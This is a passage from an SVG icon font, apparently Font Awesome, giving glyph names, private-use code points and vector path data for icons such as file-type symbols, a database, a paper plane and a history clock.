q11 0 20 9q9 7 9 20zM35 533l20 -128l-20 -126q-2 -9 -9 -9t-9 9l-17 126l17 128q2 9 9 9t9 -9zM121 612l26 -207l-26 -203q-2 -9 -10 -9q-9 0 -9 10l-23 202l23 207q0 9 9 9q8 0 10 -9zM401 159zM213 650l25 -245l-25 -237q0 -11 -11 -11q-10 0 -12 11l-21 237l21 245
q2 12 12 12q11 0 11 -12zM307 657l23 -252l-23 -244q-2 -13 -14 -13q-13 0 -13 13l-21 244l21 252q0 13 13 13q12 0 14 -13zM401 639l21 -234l-21 -246q-2 -16 -16 -16q-6 0 -10.5 4.5t-4.5 11.5l-20 246l20 234q0 6 4.5 10.5t10.5 4.5q14 0 16 -15zM784 164zM495 785
l21 -380l-21 -246q0 -7 -5 -12.5t-12 -5.5q-16 0 -18 18l-18 246l18 380q2 18 18 18q7 0 12 -5.5t5 -12.5zM589 871l19 -468l-19 -244q0 -8 -5.5 -13.5t-13.5 -5.5q-18 0 -20 19l-16 244l16 468q2 19 20 19q8 0 13.5 -5.5t5.5 -13.5zM687 911l18 -506l-18 -242
q-2 -21 -22 -21q-19 0 -21 21l-16 242l16 506q0 9 6.5 15.5t14.5 6.5q9 0 15 -6.5t7 -15.5zM1079 169v0v0v0zM881 915l15 -510l-15 -239q0 -10 -7.5 -17.5t-17.5 -7.5t-17 7t-8 18l-14 239l14 510q0 11 7.5 18t17.5 7t17.5 -7t7.5 -18zM980 896l14 -492l-14 -236
q0 -11 -8 -19t-19 -8t-19 8t-9 19l-12 236l12 492q1 12 9 20t19 8t18.5 -8t8.5 -20zM1192 404l-14 -231v0q0 -13 -9 -22t-22 -9t-22 9t-10 22l-6 114l-6 117l12 636v3q2 15 12 24q9 7 20 7q8 0 15 -5q14 -8 16 -26zM2304 423q0 -117 -83 -199.5t-200 -82.5h-786
q-13 2 -22 11t-9 22v899q0 23 28 33q85 34 181 34q195 0 338 -131.5t160 -323.5q53 22 110 22q117 0 200 -83t83 -201z" />
    <glyph glyph-name="uniF1C0" unicode="&#xf1c0;" 
d="M768 768q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127t443 -43zM768 0q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127
t443 -43zM768 384q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127t443 -43zM768 1536q208 0 385 -34.5t280 -93.5t103 -128v-128q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5
t-103 128v128q0 69 103 128t280 93.5t385 34.5z" />
    <glyph glyph-name="uniF1C1" unicode="&#xf1c1;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M894 465q33 -26 84 -56q59 7 117 7q147 0 177 -49q16 -22 2 -52q0 -1 -1 -2l-2 -2v-1q-6 -38 -71 -38q-48 0 -115 20t-130 53q-221 -24 -392 -83q-153 -262 -242 -262q-15 0 -28 7l-24 12q-1 1 -6 5q-10 10 -6 36q9 40 56 91.5t132 96.5q14 9 23 -6q2 -2 2 -4q52 85 107 197
q68 136 104 262q-24 82 -30.5 159.5t6.5 127.5q11 40 42 40h21h1q23 0 35 -15q18 -21 9 -68q-2 -6 -4 -8q1 -3 1 -8v-30q-2 -123 -14 -192q55 -164 146 -238zM318 54q52 24 137 158q-51 -40 -87.5 -84t-49.5 -74zM716 974q-15 -42 -2 -132q1 7 7 44q0 3 7 43q1 4 4 8
q-1 1 -1 2q-1 2 -1 3q-1 22 -13 36q0 -1 -1 -2v-2zM592 313q135 54 284 81q-2 1 -13 9.5t-16 13.5q-76 67 -127 176q-27 -86 -83 -197q-30 -56 -45 -83zM1238 329q-24 24 -140 24q76 -28 124 -28q14 0 18 1q0 1 -2 3z" />
    <glyph glyph-name="_422" unicode="&#xf1c2;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M233 768v-107h70l164 -661h159l128 485q7 20 10 46q2 16 2 24h4l3 -24q1 -3 3.5 -20t5.5 -26l128 -485h159l164 661h70v107h-300v-107h90l-99 -438q-5 -20 -7 -46l-2 -21h-4q0 3 -0.5 6.5t-1.5 8t-1 6.5q-1 5 -4 21t-5 25l-144 545h-114l-144 -545q-2 -9 -4.5 -24.5
t-3.5 -21.5l-4 -21h-4l-2 21q-2 26 -7 46l-99 438h90v107h-300z" />
    <glyph glyph-name="_423" unicode="&#xf1c3;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M429 106v-106h281v106h-75l103 161q5 7 10 16.5t7.5 13.5t3.5 4h2q1 -4 5 -10q2 -4 4.5 -7.5t6 -8t6.5 -8.5l107 -161h-76v-106h291v106h-68l-192 273l195 282h67v107h-279v-107h74l-103 -159q-4 -7 -10 -16.5t-9 -13.5l-2 -3h-2q-1 4 -5 10q-6 11 -17 23l-106 159h76v107
h-290v-107h68l189 -272l-194 -283h-68z" />
    <glyph glyph-name="_424" unicode="&#xf1c4;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M416 106v-106h327v106h-93v167h137q76 0 118 15q67 23 106.5 87t39.5 146q0 81 -37 141t-100 87q-48 19 -130 19h-368v-107h92v-555h-92zM769 386h-119v268h120q52 0 83 -18q56 -33 56 -115q0 -89 -62 -120q-31 -15 -78 -15z" />
    <glyph glyph-name="_425" unicode="&#xf1c5;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M1280 320v-320h-1024v192l192 192l128 -128l384 384zM448 512q-80 0 -136 56t-56 136t56 136t136 56t136 -56t56 -136t-56 -136t-136 -56z" />
    <glyph glyph-name="_426" unicode="&#xf1c6;" 
d="M640 1152v128h-128v-128h128zM768 1024v128h-128v-128h128zM640 896v128h-128v-128h128zM768 768v128h-128v-128h128zM1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400
v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-128v-128h-128v128h-512v-1536h1280zM781 593l107 -349q8 -27 8 -52q0 -83 -72.5 -137.5t-183.5 -54.5t-183.5 54.5t-72.5 137.5q0 25 8 52q21 63 120 396v128h128v-128h79
q22 0 39 -13t23 -34zM640 128q53 0 90.5 19t37.5 45t-37.5 45t-90.5 19t-90.5 -19t-37.5 -45t37.5 -45t90.5 -19z" />
    <glyph glyph-name="_427" unicode="&#xf1c7;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M620 686q20 -8 20 -30v-544q0 -22 -20 -30q-8 -2 -12 -2q-12 0 -23 9l-166 167h-131q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h131l166 167q16 15 35 7zM1037 -3q31 0 50 24q129 159 129 363t-129 363q-16 21 -43 24t-47 -14q-21 -17 -23.5 -43.5t14.5 -47.5
q100 -123 100 -282t-100 -282q-17 -21 -14.5 -47.5t23.5 -42.5q18 -15 40 -15zM826 145q27 0 47 20q87 93 87 219t-87 219q-18 19 -45 20t-46 -17t-20 -44.5t18 -46.5q52 -57 52 -131t-52 -131q-19 -20 -18 -46.5t20 -44.5q20 -17 44 -17z" />
    <glyph glyph-name="_428" unicode="&#xf1c8;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M768 768q52 0 90 -38t38 -90v-384q0 -52 -38 -90t-90 -38h-384q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h384zM1260 766q20 -8 20 -30v-576q0 -22 -20 -30q-8 -2 -12 -2q-14 0 -23 9l-265 266v90l265 266q9 9 23 9q4 0 12 -2z" />
    <glyph glyph-name="_429" unicode="&#xf1c9;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M480 768q8 11 21 12.5t24 -6.5l51 -38q11 -8 12.5 -21t-6.5 -24l-182 -243l182 -243q8 -11 6.5 -24t-12.5 -21l-51 -38q-11 -8 -24 -6.5t-21 12.5l-226 301q-14 19 0 38zM1282 467q14 -19 0 -38l-226 -301q-8 -11 -21 -12.5t-24 6.5l-51 38q-11 8 -12.5 21t6.5 24l182 243
l-182 243q-8 11 -6.5 24t12.5 21l51 38q11 8 24 6.5t21 -12.5zM662 6q-13 2 -20.5 13t-5.5 24l138 831q2 13 13 20.5t24 5.5l63 -10q13 -2 20.5 -13t5.5 -24l-138 -831q-2 -13 -13 -20.5t-24 -5.5z" />
    <glyph glyph-name="_430" unicode="&#xf1ca;" 
d="M1497 709v-198q-101 -23 -198 -23q-65 -136 -165.5 -271t-181.5 -215.5t-128 -106.5q-80 -45 -162 3q-28 17 -60.5 43.5t-85 83.5t-102.5 128.5t-107.5 184t-105.5 244t-91.5 314.5t-70.5 390h283q26 -218 70 -398.5t104.5 -317t121.5 -235.5t140 -195q169 169 287 406
q-142 72 -223 220t-81 333q0 192 104 314.5t284 122.5q178 0 273 -105.5t95 -297.5q0 -159 -58 -286q-7 -1 -19.5 -3t-46 -2t-63 6t-62 25.5t-50.5 51.5q31 103 31 184q0 87 -29 132t-79 45q-53 0 -85 -49.5t-32 -140.5q0 -186 105 -293.5t267 -107.5q62 0 121 14z" />
    <glyph glyph-name="_431" unicode="&#xf1cb;" horiz-adv-x="1792" 
d="M216 367l603 -402v359l-334 223zM154 511l193 129l-193 129v-258zM973 -35l603 402l-269 180l-334 -223v-359zM896 458l272 182l-272 182l-272 -182zM485 733l334 223v359l-603 -402zM1445 640l193 -129v258zM1307 733l269 180l-603 402v-359zM1792 913v-546
q0 -41 -34 -64l-819 -546q-21 -13 -43 -13t-43 13l-819 546q-34 23 -34 64v546q0 41 34 64l819 546q21 13 43 13t43 -13l819 -546q34 -23 34 -64z" />
    <glyph glyph-name="_432" unicode="&#xf1cc;" horiz-adv-x="2048" 
d="M1800 764q111 -46 179.5 -145.5t68.5 -221.5q0 -164 -118 -280.5t-285 -116.5q-4 0 -11.5 0.5t-10.5 0.5h-1209h-1h-2h-5q-170 10 -288 125.5t-118 280.5q0 110 55 203t147 147q-12 39 -12 82q0 115 82 196t199 81q95 0 172 -58q75 154 222.5 248t326.5 94
q166 0 306 -80.5t221.5 -218.5t81.5 -301q0 -6 -0.5 -18t-0.5 -18zM468 498q0 -122 84 -193t208 -71q137 0 240 99q-16 20 -47.5 56.5t-43.5 50.5q-67 -65 -144 -65q-55 0 -93.5 33.5t-38.5 87.5q0 53 38.5 87t91.5 34q44 0 84.5 -21t73 -55t65 -75t69 -82t77 -75t97 -55
t121.5 -21q121 0 204.5 71.5t83.5 190.5q0 121 -84 192t-207 71q-143 0 -241 -97l93 -108q66 64 142 64q52 0 92 -33t40 -84q0 -57 -37 -91.5t-94 -34.5q-43 0 -82.5 21t-72 55t-65.5 75t-69.5 82t-77.5 75t-96.5 55t-118.5 21q-122 0 -207 -70.5t-85 -189.5z" />
    <glyph glyph-name="_433" unicode="&#xf1cd;" horiz-adv-x="1792" 
d="M896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM896 1408q-190 0 -361 -90l194 -194q82 28 167 28t167 -28l194 194q-171 90 -361 90zM218 279l194 194
q-28 82 -28 167t28 167l-194 194q-90 -171 -90 -361t90 -361zM896 -128q190 0 361 90l-194 194q-82 -28 -167 -28t-167 28l-194 -194q171 -90 361 -90zM896 256q159 0 271.5 112.5t112.5 271.5t-112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5
t271.5 -112.5zM1380 473l194 -194q90 171 90 361t-90 361l-194 -194q28 -82 28 -167t-28 -167z" />
    <glyph glyph-name="_434" unicode="&#xf1ce;" horiz-adv-x="1792" 
d="M1760 640q0 -176 -68.5 -336t-184 -275.5t-275.5 -184t-336 -68.5t-336 68.5t-275.5 184t-184 275.5t-68.5 336q0 213 97 398.5t265 305.5t374 151v-228q-221 -45 -366.5 -221t-145.5 -406q0 -130 51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5
t136.5 204t51 248.5q0 230 -145.5 406t-366.5 221v228q206 -31 374 -151t265 -305.5t97 -398.5z" />
    <glyph glyph-name="uniF1D0" unicode="&#xf1d0;" horiz-adv-x="1792" 
d="M19 662q8 217 116 406t305 318h5q0 -1 -1 -3q-8 -8 -28 -33.5t-52 -76.5t-60 -110.5t-44.5 -135.5t-14 -150.5t39 -157.5t108.5 -154q50 -50 102 -69.5t90.5 -11.5t69.5 23.5t47 32.5l16 16q39 51 53 116.5t6.5 122.5t-21 107t-26.5 80l-14 29q-10 25 -30.5 49.5t-43 41
t-43.5 29.5t-35 19l-13 6l104 115q39 -17 78 -52t59 -61l19 -27q1 48 -18.5 103.5t-40.5 87.5l-20 31l161 183l160 -181q-33 -46 -52.5 -102.5t-22.5 -90.5l-4 -33q22 37 61.5 72.5t67.5 52.5l28 17l103 -115q-44 -14 -85 -50t-60 -65l-19 -29q-31 -56 -48 -133.5t-7 -170
t57 -156.5q33 -45 77.5 -60.5t85 -5.5t76 26.5t57.5 33.5l21 16q60 53 96.5 115t48.5 121.5t10 121.5t-18 118t-37 107.5t-45.5 93t-45 72t-34.5 47.5l-13 17q-14 13 -7 13l10 -3q40 -29 62.5 -46t62 -50t64 -58t58.5 -65t55.5 -77t45.5 -88t38 -103t23.5 -117t10.5 -136
q3 -259 -108 -465t-312 -321t-456 -115q-185 0 -351 74t-283.5 198t-184 293t-60.5 353z" />
    <glyph glyph-name="uniF1D1" unicode="&#xf1d1;" horiz-adv-x="1792" 
d="M874 -102v-66q-208 6 -385 109.5t-283 275.5l58 34q29 -49 73 -99l65 57q148 -168 368 -212l-17 -86q65 -12 121 -13zM276 428l-83 -28q22 -60 49 -112l-57 -33q-98 180 -98 385t98 385l57 -33q-30 -56 -49 -112l82 -28q-35 -100 -35 -212q0 -109 36 -212zM1528 251
l58 -34q-106 -172 -283 -275.5t-385 -109.5v66q56 1 121 13l-17 86q220 44 368 212l65 -57q44 50 73 99zM1377 805l-233 -80q14 -42 14 -85t-14 -85l232 -80q-31 -92 -98 -169l-185 162q-57 -67 -147 -85l48 -241q-52 -10 -98 -10t-98 10l48 241q-90 18 -147 85l-185 -162
q-67 77 -98 169l232 80q-14 42 -14 85t14 85l-233 80q33 93 99 169l185 -162q59 68 147 86l-48 240q44 10 98 10t98 -10l-48 -240q88 -18 147 -86l185 162q66 -76 99 -169zM874 1448v-66q-65 -2 -121 -13l17 -86q-220 -42 -368 -211l-65 56q-38 -42 -73 -98l-57 33
q106 172 282 275.5t385 109.5zM1705 640q0 -205 -98 -385l-57 33q27 52 49 112l-83 28q36 103 36 212q0 112 -35 212l82 28q-19 56 -49 112l57 33q98 -180 98 -385zM1585 1063l-57 -33q-35 56 -73 98l-65 -56q-148 169 -368 211l17 86q-56 11 -121 13v66q209 -6 385 -109.5
t282 -275.5zM1748 640q0 173 -67.5 331t-181.5 272t-272 181.5t-331 67.5t-331 -67.5t-272 -181.5t-181.5 -272t-67.5 -331t67.5 -331t181.5 -272t272 -181.5t331 -67.5t331 67.5t272 181.5t181.5 272t67.5 331zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71
t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF1D2" unicode="&#xf1d2;" 
d="M582 228q0 -66 -93 -66q-107 0 -107 63q0 64 98 64q102 0 102 -61zM546 694q0 -85 -74 -85q-77 0 -77 84q0 90 77 90q36 0 55 -25.5t19 -63.5zM712 769v125q-78 -29 -135 -29q-50 29 -110 29q-86 0 -145 -57t-59 -143q0 -50 29.5 -102t73.5 -67v-3q-38 -17 -38 -85
q0 -53 41 -77v-3q-113 -37 -113 -139q0 -45 20 -78.5t54 -51t72 -25.5t81 -8q224 0 224 188q0 67 -48 99t-126 46q-27 5 -51.5 20.5t-24.5 39.5q0 44 49 52q77 15 122 70t45 134q0 24 -10 52q37 9 49 13zM771 350h137q-2 27 -2 82v387q0 46 2 69h-137q3 -23 3 -71v-392
q0 -50 -3 -75zM1280 366v121q-30 -21 -68 -21q-53 0 -53 82v225h52q9 0 26.5 -1t26.5 -1v117h-105q0 82 3 102h-140q4 -24 4 -55v-47h-60v-117q36 3 37 3q3 0 11 -0.5t12 -0.5v-2h-2v-217q0 -37 2.5 -64t11.5 -56.5t24.5 -48.5t43.5 -31t66 -12q64 0 108 24zM924 1072
q0 36 -24 63.5t-60 27.5t-60.5 -27t-24.5 -64q0 -36 25 -62.5t60 -26.5t59.5 27t24.5 62zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_438" unicode="&#xf1d3;" horiz-adv-x="1792" 
d="M595 22q0 100 -165 100q-158 0 -158 -104q0 -101 172 -101q151 0 151 105zM536 777q0 61 -30 102t-89 41q-124 0 -124 -145q0 -135 124 -135q119 0 119 137zM805 1101v-202q-36 -12 -79 -22q16 -43 16 -84q0 -127 -73 -216.5t-197 -112.5q-40 -8 -59.5 -27t-19.5 -58
q0 -31 22.5 -51.5t58 -32t78.5 -22t86 -25.5t78.5 -37.5t58 -64t22.5 -98.5q0 -304 -363 -304q-69 0 -130 12.5t-116 41t-87.5 82t-32.5 127.5q0 165 182 225v4q-67 41 -67 126q0 109 63 137v4q-72 24 -119.5 108.5t-47.5 165.5q0 139 95 231.5t235 92.5q96 0 178 -47
q98 0 218 47zM1123 220h-222q4 45 4 134v609q0 94 -4 128h222q-4 -33 -4 -124v-613q0 -89 4 -134zM1724 442v-196q-71 -39 -174 -39q-62 0 -107 20t-70 50t-39.5 78t-18.5 92t-4 103v351h2v4q-7 0 -19 1t-18 1q-21 0 -59 -6v190h96v76q0 54 -6 89h227q-6 -41 -6 -165h171
v-190q-15 0 -43.5 2t-42.5 2h-85v-365q0 -131 87 -131q61 0 109 33zM1148 1389q0 -58 -39 -101.5t-96 -43.5q-58 0 -98 43.5t-40 101.5q0 59 39.5 103t98.5 44q58 0 96.5 -44.5t38.5 -102.5z" />
    <glyph glyph-name="_439" unicode="&#xf1d4;" 
d="M809 532l266 499h-112l-157 -312q-24 -48 -44 -92l-42 92l-155 312h-120l263 -493v-324h101v318zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="uniF1D5" unicode="&#xf1d5;" horiz-adv-x="1280" 
d="M842 964q0 -80 -57 -136.5t-136 -56.5q-60 0 -111 35q-62 -67 -115 -146q-247 -371 -202 -859q1 -22 -12.5 -38.5t-34.5 -18.5h-5q-20 0 -35 13.5t-17 33.5q-14 126 -3.5 247.5t29.5 217t54 186t69 155.5t74 125q61 90 132 165q-16 35 -16 77q0 80 56.5 136.5t136.5 56.5
t136.5 -56.5t56.5 -136.5zM1223 953q0 -158 -78 -292t-212.5 -212t-292.5 -78q-64 0 -131 14q-21 5 -32.5 23.5t-6.5 39.5q5 20 23 31.5t39 7.5q51 -13 108 -13q97 0 186 38t153 102t102 153t38 186t-38 186t-102 153t-153 102t-186 38t-186 -38t-153 -102t-102 -153
t-38 -186q0 -114 52 -218q10 -20 3.5 -40t-25.5 -30t-39.5 -3t-30.5 26q-64 123 -64 265q0 119 46.5 227t124.5 186t186 124t226 46q158 0 292.5 -78t212.5 -212.5t78 -292.5z" />
    <glyph glyph-name="uniF1D6" unicode="&#xf1d6;" horiz-adv-x="1792" 
d="M270 730q-8 19 -8 52q0 20 11 49t24 45q-1 22 7.5 53t22.5 43q0 139 92.5 288.5t217.5 209.5q139 66 324 66q133 0 266 -55q49 -21 90 -48t71 -56t55 -68t42 -74t32.5 -84.5t25.5 -89.5t22 -98l1 -5q55 -83 55 -150q0 -14 -9 -40t-9 -38q0 -1 1.5 -3.5t3.5 -5t2 -3.5
q77 -114 120.5 -214.5t43.5 -208.5q0 -43 -19.5 -100t-55.5 -57q-9 0 -19.5 7.5t-19 17.5t-19 26t-16 26.5t-13.5 26t-9 17.5q-1 1 -3 1l-5 -4q-59 -154 -132 -223q20 -20 61.5 -38.5t69 -41.5t35.5 -65q-2 -4 -4 -16t-7 -18q-64 -97 -302 -97q-53 0 -110.5 9t-98 20
t-104.5 30q-15 5 -23 7q-14 4 -46 4.5t-40 1.5q-41 -45 -127.5 -65t-168.5 -20q-35 0 -69 1.5t-93 9t-101 20.5t-74.5 40t-32.5 64q0 40 10 59.5t41 48.5q11 2 40.5 13t49.5 12q4 0 14 2q2 2 2 4l-2 3q-48 11 -108 105.5t-73 156.5l-5 3q-4 0 -12 -20q-18 -41 -54.5 -74.5
t-77.5 -37.5h-1q-4 0 -6 4.5t-5 5.5q-23 54 -23 100q0 275 252 466z" />
    <glyph glyph-name="uniF1D7" unicode="&#xf1d7;" horiz-adv-x="2048" 
d="M580 1075q0 41 -25 66t-66 25q-43 0 -76 -25.5t-33 -65.5q0 -39 33 -64.5t76 -25.5q41 0 66 24.5t25 65.5zM1323 568q0 28 -25.5 50t-65.5 22q-27 0 -49.5 -22.5t-22.5 -49.5q0 -28 22.5 -50.5t49.5 -22.5q40 0 65.5 22t25.5 51zM1087 1075q0 41 -24.5 66t-65.5 25
q-43 0 -76 -25.5t-33 -65.5q0 -39 33 -64.5t76 -25.5q41 0 65.5 24.5t24.5 65.5zM1722 568q0 28 -26 50t-65 22q-27 0 -49.5 -22.5t-22.5 -49.5q0 -28 22.5 -50.5t49.5 -22.5q39 0 65 22t26 51zM1456 965q-31 4 -70 4q-169 0 -311 -77t-223.5 -208.5t-81.5 -287.5
q0 -78 23 -152q-35 -3 -68 -3q-26 0 -50 1.5t-55 6.5t-44.5 7t-54.5 10.5t-50 10.5l-253 -127l72 218q-290 203 -290 490q0 169 97.5 311t264 223.5t363.5 81.5q176 0 332.5 -66t262 -182.5t136.5 -260.5zM2048 404q0 -117 -68.5 -223.5t-185.5 -193.5l55 -181l-199 109
q-150 -37 -218 -37q-169 0 -311 70.5t-223.5 191.5t-81.5 264t81.5 264t223.5 191.5t311 70.5q161 0 303 -70.5t227.5 -192t85.5 -263.5z" />
    <glyph glyph-name="_443" unicode="&#xf1d8;" horiz-adv-x="1792" 
d="M1764 1525q33 -24 27 -64l-256 -1536q-5 -29 -32 -45q-14 -8 -31 -8q-11 0 -24 5l-453 185l-242 -295q-18 -23 -49 -23q-13 0 -22 4q-19 7 -30.5 23.5t-11.5 36.5v349l864 1059l-1069 -925l-395 162q-37 14 -40 55q-2 40 32 59l1664 960q15 9 32 9q20 0 36 -11z" />
    <glyph glyph-name="_444" unicode="&#xf1d9;" horiz-adv-x="1792" 
d="M1764 1525q33 -24 27 -64l-256 -1536q-5 -29 -32 -45q-14 -8 -31 -8q-11 0 -24 5l-527 215l-298 -327q-18 -21 -47 -21q-14 0 -23 4q-19 7 -30 23.5t-11 36.5v452l-472 193q-37 14 -40 55q-3 39 32 59l1664 960q35 21 68 -2zM1422 26l221 1323l-1434 -827l336 -137
l863 639l-478 -797z" />
    <glyph glyph-name="_445" unicode="&#xf1da;" 
d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61q-172 0 -327 72.5t-264 204.5q-7 10 -6.5 22.5t8.5 20.5l137 138q10 9 25 9q16 -2 23 -12q73 -95 179 -147t225 -52q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5
t-163.5 109.5t-198.5 40.5q-98 0 -188 -35.5t-160 -101.5l137 -138q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l130 -129q107 101 244.5 156.5t284.5 55.5q156 0 298 -61t245 -164t164 -245t61 -298zM896 928v-448q0 -14 -9 -23
t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_446" unicode="&#xf1db;" 
d="M768 1280q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_447" unicode="&#xf1dc;" horiz-adv-x="1792" 
d="M1682 -128q-44 0 -132.5 3.5t-133.5 3.5q-44 0 -132 -3.5t-132 -3.5q-24 0 -37 20.5t-13 45.5q0 31 17 46t39 17t51 7t45 15q33 21 33 140l-1 391q0 21 -1 31q-13 4 -50 4h-675q-38 0 -51 -4q-1 -10 -1 -31l-1 -371q0 -142 37 -164q16 -10 48 -13t57 -3.5t45 -15
t20 -45.5q0 -26 -12.5 -48t-36.5 -22q-47 0 -139.5 3.5t-138.5 3.5q-43 0 -128 -3.5t-127 -3.5q-23 0 -35.5 21t-12.5 45q0 30 15.5 45t36 17.5t47.5 7.5t42 15q33 23 33 143l-1 57v813q0 3 0.5 26t0 36.5t-1.5 38.5t-3.5 42t-6.5 36.5t-11 31.5t-16 18q-15 10 -45 12t-53 2
t-41 14t-18 45q0 26 12 48t36 22q46 0 138.5 -3.5t138.5 -3.5q42 0 126.5 3.5t126.5 3.5q25 0 37.5 -22t12.5 -48q0 -30 -17 -43.5t-38.5 -14.5t-49.5 -4t-43 -13q-35 -21 -35 -160l1 -320q0 -21 1 -32q13 -3 39 -3h699q25 0 38 3q1 11 1 32l1 320q0 139 -35 160
q-18 11 -58.5 12.5t-66 13t-25.5 49.5q0 26 12.5 48t37.5 22q44 0 132 -3.5t132 -3.5q43 0 129 3.5t129 3.5q25 0 37.5 -22t12.5 -48q0 -30 -17.5 -44t-40 -14.5t-51.5 -3t-44 -12.5q-35 -23 -35 -161l1 -943q0 -119 34 -140q16 -10 46 -13.5t53.5 -4.5t41.5 -15.5t18 -44.5
q0 -26 -12 -48t-36 -22z" />
    <glyph glyph-name="_448" unicode="&#xf1dd;" horiz-adv-x="1280" 
d="M1278 1347v-73q0 -29 -18.5 -61t-42.5 -32q-50 0 -54 -1q-26 -6 -32 -31q-3 -11 -3 -64v-1152q0 -25 -18 -43t-43 -18h-108q-25 0 -43 18t-18 43v1218h-143v-1218q0 -25 -17.5 -43t-43.5 -18h-108q-26 0 -43.5 18t-17.5 43v496q-147 12 -245 59q-126 58 -192 179
q-64 117 -64 259q0 166 88 286q88 118 209 159q111 37 417 37h479q25 0 43 -18t18 -43z" />
    <glyph glyph-name="_449" unicode="&#xf1de;" 
d="M352 128v-128h-352v128h352zM704 256q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM864 640v-128h-864v128h864zM224 1152v-128h-224v128h224zM1536 128v-128h-736v128h736zM576 1280q26 0 45 -19t19 -45v-256
